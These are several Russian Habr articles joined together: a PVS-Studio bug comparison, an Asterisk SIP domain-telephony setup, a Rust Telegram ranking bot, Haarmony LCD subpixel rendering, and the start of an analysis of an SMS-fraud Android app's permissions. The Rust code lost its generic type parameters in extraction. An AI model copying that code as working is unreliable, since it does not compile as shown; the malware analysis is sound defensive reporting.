'\0'; FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, error, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)buf, sizeof(buf), NULL ); return buf; } ``` **Предупреждение PVS-Studio**: [V511](https://www.viva64.com/ru/w/v511/) The sizeof() operator returns size of the pointer, and not of the array, in 'sizeof (buf)' expression. common.cc 507 *Error\_message\_buf* — псевдоним типа для массива из 1024 элементов типа *char*. Следует помнить про один ключевой момент — даже если сигнатура функции выглядит следующим образом ``` const char* get_last_error_message(char buf[1024]) ``` *buf* — это указатель, со всеми вытекающими последствиями, а размер массива — всего лишь подсказка для программиста. Следовательно, в приведённом выше фрагменте кода в выражении *sizeof(buf)* идёт работа с указателем, а не с массивом. В итоге в функцию будет передан неверный размер буфера — 4 или 8 вместо 1024. В Firebird и PostgreSQL аналогичных предупреждений опять не оказалось. **Подсчёт баллов.** 2 штрафных балла в MySQL. ### Пропущенное ключевое слово throw Ещё одна интересная ошибка, и на этот раз… опять из MySQL. Приведу фрагмент кода целиком, так как он небольшой. ``` mysqlx::XProtocol* active() { if (!active_connection) std::runtime_error("no active session"); return active_connection.get(); } ``` **Предупреждение PVS-Studio**: [V596](https://www.viva64.com/ru/w/v596/) The object was created but it is not being used. The 'throw' keyword could be missing: throw runtime\_error(FOO); mysqlxtest.cc 509 Создаётся объект класса *std::runtime\_error*, но никак не используется. Очевидно, что подразумевался выброс исключения, но программист забыл указать ключевое слово *throw*. Как итог — исключительная ситуация (*active\_connection == nullptr*) не обрабатывается ожидаемым образом. Ни в Firebird, ни в PostgreSQL подобных предупреждений не было. **Подсчёт баллов.** 2 штрафных балла в MySQL. ### Вызов неверного оператора освобождения памяти Следующий пример кода взят из проекта Firebird. ``` class Message { .... void createBuffer(Firebird::IMessageMetadata* aMeta) { unsigned l = aMeta->getMessageLength(&statusWrapper); check(&statusWrapper); buffer = new unsigned char[l]; } .... ~Message() { delete buffer; .... } ..... unsigned char* buffer; .... }; ``` **Предупреждение PVS-Studio**: [V611](https://www.viva64.com/ru/w/v611/) The memory was allocated using 'new T[]' operator but was released using the 'delete' operator. Consider inspecting this code. It's probably better to use 'delete [] buffer;'. Check lines: 101, 237. message.h 101 Память под буфер (на который ссылается указатель *buffer* — поле класса *Message*) выделяется в специальном методе — *createBuffer*, и, как и полагается, для этого используется оператор *new[]*. Однако в деструкторе класса для освобождения памяти используется оператор *delete* вместо *delete[]*. В MySQL и PostgreSQL подобных ошибок не нашлось. **Подсчёт баллов.** 2 штрафных балла для Firebird. Подводим итоги -------------- Просуммировав штрафные баллы, получаем следующий результат: * Firebird: 1 + 1 + 2 = 4 балла. * MySQL: 3 + 1 + 2 + 2 + 2 + 2 = 12 баллов. * PostgreSQL: 3 балла. Напоминаю, что чем меньше баллов, тем лучше. И здесь мне (человеку с испорченными предпочтениями) больше всего понравился… MySQL! В нём были самые интересные ошибки, и с местом тоже всё понятно — вот он, идеальный проект для анализа! С Firebird и PostgreSQL всё сложнее. С одной стороны — отрыв в один балл — всё же отрыв, с другой — это достаточно маленькая разница, тем более, что этот балл получен за [V768](https://www.viva64.com/ru/w/v768/) среднего уровня достоверности… С третьей стороны — у PostgreSQL куда больше кодовая база, но при этом 4 сотни предупреждений на автосгенерированный код… В общем, чтобы расставить точки над 'i', касаемо Firebird и PostgreSQL, нужно провести более тщательный анализ, а пока, думаю, никто не обидится, если я поставлю их на одно место. Может быть, когда-нибудь удастся более тщательно подойти к сравнению этих двух проектов, но это уже совсем другая история… Результаты, оценённые по качеству кода: * 1 место — Firebird и PostgreSQL. * 2 место — MySQL. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/a39/4b1/bfd/a394b1bfd3919b813ddfcfa202d5097a.png) И ещё раз хочу напомнить, что любой обзор и сравнение, в том числе и это, так или иначе — вещь субъективная, и у кого-то результат может отличаться при использовании другого подхода (но это, скорее, касаемо Firebird и PostgreSQL, но не MySQL). Что же со статическим анализом? Надеюсь, мне удалось продемонстрировать вам его пользу в обнаружении дефектов различных типов. Хотите посмотреть, нет ли чего-нибудь подобного в вашей кодовой базе? Самое время [попробовать PVS-Studio](https://www.viva64.com/ru/pvs-studio-download/)! Пишете код без ошибок? Проверьте код своих коллег ;) [![](https://habrastorage.org/r/w1560/files/8d2/41b/5bf/8d241b5bf34747169141ed7c1997143b.png)](https://www.viva64.com/en/b/0542/) Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Vasiliev. [Code Quality Comparison of Firebird, MySQL, and PostgreSQL](https://www.viva64.com/en/b/0542/) **Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](https://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком.
https://habr.com/ru/post/343410/
null
ru
null
# Телефония для домена ![](https://habrastorage.org/r/w780q1/files/366/d31/349/366d3134996a4252b2e13d243070465f.jpg) Изучение протокола SIP привело к пониманию того, что он изначально поддерживает работу с доменными именами. В частности, достаточно создать DNS записи типа SRV и NAPTR для указания SIP клиентам где искать ваш сервер телефонии. В результате мы получаем возможность заводить пользователей типа alex@mysite.ru, director@mysite.ru, 101@mysite.ru и делать звонки напрямую на эти номера. В частности, эти номера могут совпадать с адресом электронной почты. Бесплатные звонки ----------------- Время, когда можно будет позвонить через Интернет любому человеку на его SIP URI номер, так же как и на обычный телефон — еще далеко, но уже сейчас можно получить явные преимущества. Маркетинговая составляющая: Можно рекламировать свою компанию как максимально нацеленную на контакт с клиентом, и давать им различные способы связи с сотрудниками. Например, на визитке сотрудника можно указывать контакты для связи по аналогии с e-mail как sip: director@mysite.ru. Бонусом такого звонка будет обход голосового меню, нет необходимости донабора внутреннего номера – сразу соединяетесь с интересующим вас сотрудником — экономите свое время. Можно совершать звонки на телефон бесплатно прямо с браузера через WebRTC с различных web сервисов — это возможность сэкономить на оплате счетов за телефон горячей линии 8 800. Многим вашим клиентам может быть удобно звонить сразу с компьютера в один клик через гарнитуру, а не набирать номер на мобильнике. В большинстве случаев, звонки на SIP номера бесплатны для обеих сторон. И позволяют по полной использовать возможности современной телефонии, например видеосвязь. Можно проводить открытые конференции и семинары. Рассмотрим настройку на популярной офисной АТС Asterisk ------------------------------------------------------- При настройке собственного сервера очень большое внимание следует уделять безопасности. К сожалению, сегодня телефония является лакомым кусочком для взлома. Считаем, что Asterisk уже установлен и настроен для обычных звонков. Первым делом проверяем, включен ли и настроен брандмауэр на этом сервере. Пример конфигурации для iptables для Debian. Конфигурацию сохраняем в /etc/iptables.up. Загружаем с помощью iptables-restore. Файл настроек /etc/iptables.up: ``` *filter # Запрещаем принимать все, для чего нет разрешающих правил :INPUT DROP # Разрешаем пересылку пакетов :FORWARD ACCEPT # Разрешаем отправку пакетов :OUTPUT ACCEPT # Разрешаем установленные соединения -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT # Разрешаем локальные соединения -A INPUT -i lo -j ACCEPT # Отвечаем на ping -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT # и подключения по SSH -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT # RTP порты для передачи голоса, берем из /etc/asterisk/rtp.conf -A INPUT -p udp -m udp --dport 10000:20000 -j ACCEPT # SIP порт -A INPUT -p udp -m udp --dport 5060 -j ACCEPT -A INPUT -p tcp -m tcp --dport 5060 -j ACCEPT COMMIT ``` По необходимости дописываем правила для таблиц nat и mangle, если сервер используется в качестве шлюза в локальную сеть. Делаем автозагрузку конфигурации. Для этого в файл /etc/network/interfaces после описания интерфейса добавляем строчку post-up iptables-restore < /etc/iptables.up: ``` allow-hotplug eth1 iface eth1 inet dhcp post-up iptables-restore < /etc/iptables.up ``` Далее настраиваем fail2ban для анализа логов. Рекомендую включить модули SSH и Asterisk. Подробнее настройка описана [здесь](http://habrahabr.ru/post/274731/). Настройка DNS записей --------------------- Для звонков на SIP URI нужно рассказать звонящим вам, где искать сервер телефонии. Для этого используются NAPTR и SRV записи: Запись NAPTR для домена mysite.ru рассказывает, какие сервисы поддерживаются: ``` ~$ host -t naptr mysite.ru mysite.ru has NAPTR record 10 50 "s" "SIP+D2U" "" _sip._udp.mysite.ru. mysite.ru has NAPTR record 10 51 "s" "SIP+D2U" "" _sip._udp.second.mysite.ru. mysite.ru has NAPTR record 20 50 "s" "SIP+D2T" "" _sip._tcp.mysite.ru. mysite.ru has NAPTR record 20 50 "s" "SIPS+D2T" "" _sips._tcp.mysite.ru. ``` В данном случае для домена mysite.ru определены 4 NAPTR записи. * 10 — поле Order — приоритет сервиса. Чем ниже значение, тем выше приоритет. * 50 — поле Preference — приоритет правила. Проверяется только для одинаковых значений Order. В данном случае, если клиент поддерживает сервис «SIP+D2U», то сначала будет отправляться запрос к \_sip.\_udp.mysite.ru, если он не доступен — то к \_sip.\_udp.second.mysite.ru * «s» — поле Flags. Означает, что используется SRV запись. * «SIP+D2U» — поле Service. Протокол, который поддерживается. В данном случае SIP с использованием UDP пакетов. SIP+D2T — для TCP пакетов. SIPS+D2T использовать шифрование TLS поверх TCP пакетов. * "" — поле Regexp. Регулярное выражение для извлечения доменного имени. В данном случае пустое. * \_sip.\_udp.mysite.ru. — имя SRV записи (сервер, отвечающий за этот тип связи). Далее нужно настроить SRV запись: ``` host -t srv _sip._udp.mysite.ru _sip._udp.mysite.ru has SRV record 10 0 5060 asterisk.mysite.ru. ``` * \_sip — поле Service. Сервис телефонии. * \_udp — поле Proto — протокол. Обычно \_udp или \_tcp. * mysite.ru — доменное имя для которого создается запись. * 10 — поле Priority — задает приоритет этой записи. * 0 — поле weight — относительный приоритет. Играет значение для записей с одинаковым Priority. * 5060 — поле Port. Указывает, на каком порту сервер принимает SIP команды. * asterisk.mysite.ru. — поле Target — имя сервера. Как показала практика, многие SIP клиенты проверяют только SRV записи \_sip.\_udp. и \_sip.\_tcp. для вашего домена без учета информации в NAPTR. Подробнее по связи телефонии с DNS можно почитать в [соответствующем стандарте](https://www.etsi.org/deliver/etsi_ts/184000_184099/184010/03.01.01_60/ts_184010v030101p.pdf). Настройка сервера Asterisk -------------------------- Для начала, нужно разрешить звонки без авторизации и поместить их в отдельный контекст. Для этого в sip.conf: ``` [general] ... context=guest-call allowguest=yes ... ``` Далее нужно создать этот контекст в файле extensions.conf: ``` [guest-call] exten = > director,1,Log(NOTICE,Good call IP=${CHANNEL(peerip)}) exten = > director,n,Dial(SIP/105@default) exten = > alex,1,Log(NOTICE, Good call IP=${CHANNEL(peerip)}) exten = > alex,n,Dial(SIP/106@default) exten = > 101,1,Log(NOTICE, Good call IP=${CHANNEL(peerip)}) exten = > 101,n,Dial(SIP/101@default) exten = > _.,1,Log(WARNING,Wrong call IP=${CHANNEL(peerip)}) exten = > _.,n,Playback(bad-user) exten = > _.,n,Hangup() ``` Применяем конфигурацию sip reload и dialplan reload. В данном контексте мы логируем все неавторизованные вызовы. Далее происходит вызов локального абонента. Поменяйте default на ваш контекст с локальными пользователями. Прописываем сюда всех пользователей, для которых будем принимать неавторизованные звонки. Ошибочные вызовы логируются с отдельным сообщением. Мы можем добавить анализ этого сообщения в fail2ban для блокировки подбора, например в файле конфигурации /etc/fail2ban/filter.d/asterisk.conf добавляем строку: ``` failregex = … … … Wrong call IP= ``` Особое внимание надо уделить этому диалплану — разрешать стоит только звонки локальным пользователям. Корректная настройка избавит вас от неприятных неожиданностей получить большой счет за телефонные звонки. Так же следует помнить, что уязвимости могут быть найдены в любом программном обеспечении, например в реализации протокола SIP или даже SSH сервере. Поэтому, желательно устанавливать лимиты по балансу у вашего провайдера, чтобы избежать риска получения огромного счета. Решение на виртуальных сервисах ------------------------------- В последнее время большую популярность приобрели сервисы виртуальных АТС и многие из них позволяют совершать и принимать вызовы на SIP URI. Также есть сервис [Цифровой Офис](https://digitoffice.ru/), который позволяет сделать привязку вашего домена к сервису телефонии. Использование сервисов избавляет вас от самостоятельной настройки и защиты сервера телефонии. Большинство из них работают по предоплате и исключают риск получения больших счетов. После настройки можно будет принимать звонки с других сервисов и звонить на них. Так же можно звонить и на сервера Asterisk других компаний, если они поддерживают гостевые звонки.
https://habr.com/ru/post/276977/
null
ru
null
# Как я написал telegram бота на Rust для отслеживания рейтинга при поступлении в вуз Привет, меня зовут Илья, я сейчас сдаю вступительные экзамены в магистратуру. Столкнулся при поступлении с проблемой, что результаты экзаменов в рейтинговом списке появляются не сразу, а постоянно его открывать и находить себя на странице - после раза двадцатого надоело. После исследования devtools я захотел написать приложение для отслеживания изменений рейтинга, а уведомления отправлять в телеграм. А Rust был выбран по простой причине - он мне понравился, ну и есть удобные штуки всякие. Не судите строго, мой первый опыт написания статьи (и бота). Также она не претендует на звание полноценного туториала по разработке телеграм ботов на Rust, но я старался. И тем более это не туториал по самому языку. ### Реализация Для запросов использовал reqwest с включенной фичей `json` для десериализации, для поддержки `async/await` - [tokio](https://crates.io/crates/tokio), для работы с SQLite - [rusqlite](https://crates.io/crates/rusqlite). *Пока что есть возможность смотреть рейтинг только для магистратуры ИТМО* #### Схема работы Получаем список программ и сохраняем в базе, далее запускаем цикл, на каждом шаге запрашиваем и обрабатываем обновления с телеграма, и примерно каждые 10 минут обновляем рейтинг с сайта. #### Получение рейтинга Начал я с получения данных о рейтинге с `abitlk.itmo.ru`. Здесь получаем данные, функция `find_score` ищет в них нужную запись, в случае если не находит, возвращает ошибку, которая будет обработана, и будет отправлено сообщение, что ничего не найдено get\_rating\_competition ``` pub async fn get_rating_competition( degree: &str, program_id: &str, case_number: &str, ) -> Result, Box> { let rating\_response: RatingResponse = reqwest::get(format!( "{API\_PREFIX}/{API\_KEY}/rating/{degree}/budget?program\_id={program\_id}" )) .await? .json() .await?; match find\_score(rating\_response, case\_number) { None => Err(Box::from("no matching competition")), competition => Ok(competition), } } ``` Поиск записи в данных. Если в поле `ok` вернулось `false`, сразу возвращаем `None`. Иначе достаем массив всех записей из `response.result.general_competition`, и находим в нем позицию по номеру дела из личного кабинета (у меня вида `Мх-хххх-2022`) find\_score ``` fn find_score(response: RatingResponse, case_number: &str) -> Option { if !response.ok { return None; } response .result .general\_competition .iter() .find(|c| -> bool { if let Some(c) = &c.case\_number { c == case\_number } else { false } }) .cloned() } ``` Структура `RatingResponse` выглядит так. Тут я задал только нужные поля, остальные, которые придут в ответе, будут проигнорированы при парсинге. Модели ответа ``` pub struct Response { pub ok: bool, pub message: String, pub result: T, } pub type RatingResponse = Response; pub struct RatingResult { pub general\_competition: Vec, } pub struct Competition { pub position: i32, pub priority: i32, pub total\_scores: f64, pub case\_number: Option, pub exam\_scores: Option, } ``` Также каждая структура наследует `serde::Deserialize` для генерации нужных методов, которые будут потом преобразовывать сырые данные (в данном случае json) в структуру: ``` #[derive(Deserialize)] pub struct Response {} ``` #### Получение команд от пользователей Для получения сообщений используется эндпойнт `https://api.telegram.org/botTOKEN/getUpdates?offset=x` для получения обновлений, где есть и новые сообщения. `offset` необходим для пометки обновлений как прочитанных, чтобы они больше не возвращались. Функция для их получения: get\_updates ``` async fn get_updates(offset: i32) -> Result> { let params = [("offset", &offset.to\_string())]; let url = reqwest::Url::parse\_with\_params(&format!("{TG\_API\_PREFIX}{TOKEN}/getUpdates"), &params)?; let response = reqwest::get(url).await?; if !response.status().is\_success() { let error: ErrorResponse = response.json().await?; let text = format!( "cannot get updates\nerror: `{}`", error.description.unwrap\_or\_default() ); send\_message(&text, LOGS\_CHAT\_ID).await?; return Err(Box::from("cannot get updates")); } Ok(response.json().await?) } ``` Полученные данные обрабатываем. Здесь во-первых сохраняется максимальный `update_id` для последующего использования в качестве `offset`, далее в `MessageRequest::from(text)` парсится текст сообщения, если это известная команда, она далее обрабатывается, если нет, отправляется сообщение, что это не команда. handle\_updates ``` pub async fn handle_updates(db: &DB, offset: i32) -> Result> { let data = get\_updates(offset).await?; let mut max\_update\_id = 0; for update in data.result { if update.update\_id > max\_update\_id { max\_update\_id = update.update\_id; } if let Some(message) = update.message { if let Some(text) = message.text { let chat\_id = message.from.id.to\_string(); match MessageRequest::from(text) { Some(request) => handle\_message\_request(db, request, &chat\_id).await?, None => send\_message(messages::unknown\_message, &chat\_id).await?, } } } } Ok(max\_update\_id + 1) } ``` Парсится так (функция `from`). Текст разбивается по пробелам, далее в случае односложных команд просто возвращается значение перечисления, а в случае `/watch` из значений массива создается объект для их передачи. При неправильной команде возвращается её имя, далее оно будет использовано для отправки синтаксиса этой команды. MessageRequest::from ``` impl MessageRequest { pub fn from(text: String) -> Option { let text: Vec = text.split(' ').map(|w| w.to\_string()).collect(); if text.is\_empty() { return None; } let command = text[0].as\_str(); match command { "/watch" | "/unwatch" => { let incorrect\_command = Some(Self::IncorrectCommand(command.to\_string())); if text.len() < 5 { if text.len() == 2 && text[1] == "all" { return Some(Self::UnwatchAll); } return incorrect\_command; } // waiting for let-chain if let Some(watch) = Watch::new("itmo", &text[2], &text[3], &text[4]) { if watch.degree == Degree::Master { return match command { "/watch" => Some(Self::Watch(watch)), "/unwatch" => Some(Self::Unwatch(watch)), \_ => incorrect\_command, }; } } incorrect\_command } "/about" => Some(Self::About), "/help" => Some(Self::Help), "/start" => Some(Self::Start), \_ => None, } } } ``` Структура `MessageRequest` и вспомогательные `Degree` и `Watch`: Модели запроса пользователя ``` pub enum Degree { Bachelor, Master, Postgraduate, } pub struct Watch { pub uni: String, pub degree: Degree, pub program_id: String, pub case_number: String, } pub enum MessageRequest { About, Help, Start, Unwatch(Watch), UnwatchAll, Watch(Watch), IncorrectCommand(String), } ``` `MessageRequest` обрабатывается так. Для простых команд отправляем соответствующие сообщения, команды `/watch` и `/unwatch` обрабатываем (сама функция обработки чуть ниже). handle\_message\_request ``` async fn handle_message_request( db: &DB, request: MessageRequest, chat_id: &str, ) -> Result<(), CrateError> { match request { MessageRequest::Watch(args) => { let result = handle_competition(db, chat_id, &args.degree.to_string(), &args.case_number, &args.program_id, true).await; if let Err(_) = result { send_message(messages::rating_not_found, chat_id).await?; } } MessageRequest::Unwatch(args) => { db.delete_competition( &args.case_number, chat_id, &args.program_id, &args.degree.to_string(), )?; send_message(messages::done, chat_id).await?; } MessageRequest::UnwatchAll => { db.delete_competition_by_user(chat_id)?; send_message(messages::done, chat_id).await?; } MessageRequest::IncorrectCommand(command) => { send_incorrect_command_message(&command, chat_id).await? } MessageRequest::Help => send_message(messages::help, chat_id).await?, MessageRequest::Start => send_message(messages::start, chat_id).await?, MessageRequest::About => send_message(messages::about, chat_id).await?, }; Ok(()) } ``` Код обработки довольно скучный, но довольно большой. Сначала получается позиция, достается уже ранее запрошенная позиция из базы, если они не совпадают, то отсылается сообщение пользователю, и значение в базе обновляется. Если не равны, то сообщение отсылается только в случае, если эта функция была вызвана после обработки команды от пользователя, а не на этапе регулярной проверки обновлений. За это отвечает параметр `is_user_request`: handle\_competition ``` pub async fn handle_competition( db: &DB, chat_id: &str, degree: &str, case_number: &str, program_id: &str, is_user_request: bool, ) -> Result<(), Box> { let competition = get\_rating\_competition(db, degree, program\_id, case\_number).await?; match db.select\_competition(chat\_id, case\_number, degree, program\_id) { Ok(old\_competition) => { if let Some(competition) = competition { let program = db.select\_program("itmo", program\_id)?; let program\_name = if let Some(program) = program { program.title\_ru } else { "Названия нет".to\_string() }; let mut should\_send\_message = false; // update if competition is old (competition != old\_competition) // insert if is new (when old == None, on first user request) if let Some(old\_competition) = old\_competition { if competition != old\_competition { db.update\_competition(&competition, chat\_id, program\_id, degree)?; should\_send\_message = true; } } else { db.insert\_competition(&competition, chat\_id, program\_id, degree)?; } // send if it's user request or record in db was updated if is\_user\_request || should\_send\_message { send\_competition\_message(&competition, chat\_id, &program\_name).await?; } } } Err(e) => { eprintln!("cannot select competition: {e}") } }; Ok(()) } ``` Отправка сообщения выглядит так. Экранируем некоторые символы, отправляем запрос, проверяем результат. send\_message ``` pub async fn send_message(text: &str, chat_id: &str) -> Result<(), Box> { let text = &text.replace('-', "\\-").replace('.', "\\."); let params = [ ("chat\_id", chat\_id), ("text", text), ("parse\_mode", "MarkdownV2"), ]; let url = reqwest::Url::parse\_with\_params(&format!("{TG\_API\_PREFIX}{TOKEN}/sendMessage"), &params)?; let response = reqwest::get(url).await?; if !response.status().is\_success() { let error: ErrorResponse = response.json().await?; let msg = "Cannot send message request"; if let Some(description) = error.description { eprintln!("{msg}: {description}"); } return Err(Box::from(msg)); } let data: SendMessageResponse = response.json().await?; if !data.ok { eprintln!( "Cannot send message: {}", data.description .unwrap\_or\_else(|| "error has no description".to\_string()) ) } Ok(()) } ``` #### Объединяем В функции `main` сначала запрашивается список всех программ (для сохранения их названий), далее запускается бесконечный цикл, который каждую секунду проверяет обновления со стороны телеграма, вызывая функцию `handle_updates`, а также раз в примерно 10 минут проверяет обновления рейтингов и рассылает сообщения об обновлении. `#[tokio::main]` нужно для старта main сразу как асинхронной функции, без необходимости ручного создания loop-а. main ``` const TEN_MIN_IN_SEC: i32 = 10 * 60; #[tokio::main] async fn main() -> Result<(), Box> { let db = init\_db()?; load\_programs(&db).await.unwrap(); let mut offset = 0; let mut sec\_counter = 0; loop { offset = handle\_updates(&db, offset).await.unwrap(); if sec\_counter == 0 { check\_rating\_updates(&db).await?; } sec\_counter = (sec\_counter + 1) % TEN\_MIN\_IN\_SEC; time::sleep(time::Duration::from\_secs(1)).await; } } ``` check\_rating\_updates ``` async fn check_rating_updates(db: &DB) -> Result<(), Box> { // select registered watchers from 'results' for c in db.select\_all\_competitions()? { if let Some(case\_number) = c.competition.case\_number { handle\_competition(db, &c.tg\_chat\_id, &c.degree, &case\_number, &c.program\_id, false) .await?; } } Ok(()) } ``` ### Итоги Надеюсь, этот бот поможет кому-нибудь ещё кроме меня. Ссылка на бота [@uni\_rating\_checker\_bot](https://t.me/uni_rating_checker_bot) и на [исходный код](https://github.com/istudyatuni/uni-rating-checker) #### P.S. * Хотелось бы проверить, как приложение справится под нагрузкой (сервер довольно слабенький) * Из возможных фич - учитывать, что кто-то из тех, кто находится выше по рейтингу, уже проходят на направление, которое у них выше по приоритету * После написания основной части статьи я переписал часть проекта, улучшив передачу ошибок наверх и их обработку * Только магистратура потому что для бакалавриата вроде как приходит другая структура данных, а времени особо не было на это * По хорошему, ввод данных надо делать не передачей нескольких аргументов в одной строке, а чтобы пользователь мог ввести все по очереди, в идеале - чтобы надо было просто выбирать из предложенных вариантов, например, с помощью кнопок * Вдохновился этой статьей <https://habr.com/p/679832> * Команда потестить: `/watch itmo master 15850 M1-0979-2022`. Это не я :) Выбрал наугад
https://habr.com/ru/post/681648/
null
ru
null
# Субпиксельный рендеринг произвольных векторных изображений (Haarmony LCD) Субпиксельный рендеринг ([вики](https://en.wikipedia.org/wiki/Subpixel_rendering))— способ увеличить видимое разрешение LCD или OLED дисплея путем рендеринга пикселей с учетом свойств экрана. Используется тот факт, что каждый пиксель экрана фактически состоит из отдельных красных, зеленых и синих субпикселей. В посте я хочу рассказать о методе Haarmony LCD, который применяется в последних версиях freetype, и как его адаптировать для произвольных векторных изображений и конфигураций субпикселей. ![](https://habrastorage.org/r/w780q1/webt/ni/7e/xr/ni7exr_pyjeomvq7aq9_lruxrdm.jpeg) **Как выглядят исходные изображения**![](https://habrastorage.org/r/w780q1/webt/yk/ro/bm/ykrobm-ib8h6brbrqy0nqlhqqp4.jpeg) Фотографией, сложно передать преимущества. Для сравнения можете посмотреть на следующую картинку. Если одна из конфигураций пикселей такая же, как у вашего монитора, разница должна быть существенной. ![](https://habrastorage.org/r/w1560/webt/ti/kj/4b/tikj4bfskdo86zed7dc5f35h9qi.png) Ко мне обратились создатели U•HODL с предложением адаптировать субпиксельный рендеринг для их устройства. Устройство — миниатюрный криптокошелек с 0.96" OLED экраном (120×180). У них [в блоге](https://medium.com/@tbrizitsky/designing-u-hodl-a-user-friendly-hardware-wallet-9877042ffdbf) (англ.) описано, как они внимательно относится к удобству, и как выжимают максимум из небольшого экрана. Поэтому им был необходим SPR для иконок и текста. История вопроса (ClearType) =========================== В интернете можно встретить описание механизма ClearType, который используют в Windows. Лучшее описание, на мой взгляд, на [сайте grc.com](https://www.grc.com/cttech.htm). Дальше короткая выжимка для тех, кому неинтересно вдаваться в подробности. ClearType состоит из двух этапов: ### 1. Текст рендерится с шириной в три раза больше оригинальной Каждый пиксель рендера отвечает за один цветной субпиксель: ![](https://habrastorage.org/webt/3o/pn/ku/3opnkuorzosa7fig49nfweyakna.gif) Если просто вывести такой текст на экран, будет видна цветовая аберрация на краях букв: ![](https://habrastorage.org/webt/gh/vm/5j/ghvm5jbrjcjugmpk6lcmbbu_cxa.gif) ### 2. Фильтр меняет цвет (но не яркость) соседних пикселей И восстанавливает локальный цветовой баланс: ![](https://habrastorage.org/webt/-d/53/qx/-d53qxrfru1mh23jc4wdna0qysm.gif) У этого метода несколько недостатков: 1. Не очевидно, как его применять с цветными изображениями 2. Фильтр усложняется, если субпиксели не на одной прямой (чуть ниже будет конфигурация экрана) 3. Сам фильтр защищен патентом Майкрософт. Возможно кто-то помнит, что по-умолчанию в ранних версиях freetype субпиксельный рендеринг был отключен из-за патентов. Haarmony LCD ============ И тут на помощь приходит алгоритм Haarmony LCD. Кроме [письма его автора](https://lists.nongnu.org/archive/html/freetype-devel/2017-08/msg00055.html), в интернете практически нет информации про алгоритм. Но, сам алгоритм прост и интуитивен. Надо 3 раза отрендерить текст со смещением равному смещению субпикселя, и сложить цветовые каналы. Допустим, если у вас есть матрица такой конфигурации: ![](https://habrastorage.org/r/w780q1/webt/cd/q7/rs/cdq7rslrqlr6fba-vy8tyqk2eik.jpeg) Вам надо отрендерить и сложить: 1. Синий канал со смещением -0.25 пикселя по горизонтали 2. Зеленый канал со смещением +0.25 пикселя по горизонтали 3. Красный канал со смещение +0.5 пикселя по вертикали Схема рендера будет приблизительно такой. ![](https://habrastorage.org/r/w1560/webt/ws/eh/ok/wsehokihigpyy8rs1n0adk4dxym.png) SVG === Легче всего оказалось рендерить SVG изображения. Просто смещая viewBox (3 раза), заменив : ``` viewBox="0 0 120 180" ``` на ``` viewBox="0.25 0 120.25 180" ``` Пример рендера иконок: ![](https://habrastorage.org/r/w780q1/webt/ct/v0/ba/ctv0baum2y7x9kebbfsjhu0wzos.jpeg) Изображения: ![](https://habrastorage.org/r/w1560/webt/k2/vy/yi/k2vyyivqkzc8czf-vovmxfrdx2a.png) Конфигурация матрицы ==================== Внимательный читатель мог заменить на изображениях цветную шахматку. Это связано с тем, что дисплей для которого разрабатывался алгоритм имеет приблизительно такую матрицу: ![](https://habrastorage.org/r/w1560/webt/em/--/2s/em--2spiqcigwao8g98ggts56ly.png) То есть, субпиксели на четных и нечетных строках размещены зеркально. В таком случае, достаточно отрендерить с двумя разными конфигурациями, и взять четные строки из одного изображения, а нечетные с другой. П.С. mcufont ------------ Если вам необходимо использовать субпиксельный рендеринг в mcufont (библиотека для рендеринга шрифтов на микроконтроллерах), надо пропатчить *encoder/freetype\_import.cc* и установить там Haarmony LCD режим **FT\_Render\_Glyph(face->glyph, FT\_RENDER\_MODE\_LCD)**. А на выводе текста не забывать, что ширина букв будет в 3 раза больше необходимой.
https://habr.com/ru/post/474876/
null
ru
null
# Страшная сказка на ночь для пользователей Android Каждый, наверное, сталкивался с сайтами, предлагающими пользователю платную подписку на ту или иную услугу. В силу специфики моей работы мне иногда приходится проверять подобные ресурсы. Чаще всего они наспех набиты контентом, фальшивыми комментариями и созданы специально для обмана пользователя. Создатели обещают золотые горы, а на деле все заканчивается банальным разводом на деньги. Данная статья — один из частных случаев анализа фейк-сайта с приложением для Android. Все началось с того, что мне прислали на проверку сайт. По виду — обычный варезный блог с громкими заголовками типа “Бесплатные обои и картинки для андроида”, “Самые умные программы на андроид” и тому подобное. Сразу бросилось в глаза, что во всех постах одинаковые комментарии, оставленные “разными людьми”. Содержание примерно следующее: *— Сайт просит ввести номер телефона, это нормально? — Да, это для регистрации, проверка, что ты не бот. — О, круто, спасибо!* В общем факт обмана виден сразу, но я решил копать дальше. При попытке загрузить приложение из любого поста с помощью стационарного компьютера, меня перекидывает на другой ресурс. Ссылка вида http://\*\*\*\*/\*\*/?sub\_id=\* (ага, возможно партнерочка). Там мне предлагают купить за деньги Google Chrome (и ведь ведутся же люди!). Допустим… Но ведь ресурс посвящен приложениям для Android устройств, значит, нужно попробовать зайти с девайса. Как и следовало ожидать: вместо предложения купить супер-браузер загружается install.apk. “Вот это уже интересно” — подумал я и не ошибся. Первое, что бросилось в глаза — огромное количество потенциально опасных разрешений. ![](https://habrastorage.org/r/w1560/storage2/d98/b2a/0f3/d98b2a0f336f7edaac7d660774334d4d.png)![](https://habrastorage.org/r/w1560/storage2/043/31f/ed2/04331fed225bc87be039a7489d55314d.png) Не слабый набор, правда? Мне стало интересно, что же приложение делает со всеми этими разрешениями. Не буду описывать сам процесс декомпиляции, лишь упомяну, что использовал [apktools](http://code.google.com/p/android-apktool/), [dex2jar](http://code.google.com/p/dex2jar/), [JD-GUI](http://java.decompiler.free.fr/) и [jad](http://www.varaneckas.com/jad/). В итоге я получил декомпилированные ресурсы и набор классов. Первое, на что я обратил внимание, это, разумеется, **AndroidManifest.xml**. **Содержимое файла AndroidManifest.xml** ``` xml version="1.0" encoding="utf-8"? ``` Коротко о разрешениях: *READ\_PHONE\_STATE* — получение информации о телефоне (номер телефона, серийник, информация о вызовах); *SEND\_SMS* — отправка sms-сообщений; *RECEIVE\_SMS* — прием sms-сообщений и последующее удаление их (именно поэтому приоритет у MainReceiver наивысший); *INTERNET* — использование интернета; *WAKE\_LOCK* — отключает спящий режим (видимо для повышения стабильности :); *ACCESS\_NETWORK\_STATE* — информация о сетевых соединениях; *RECEIVE\_BOOT\_COMPLETED* — получать сообщения о загрузке 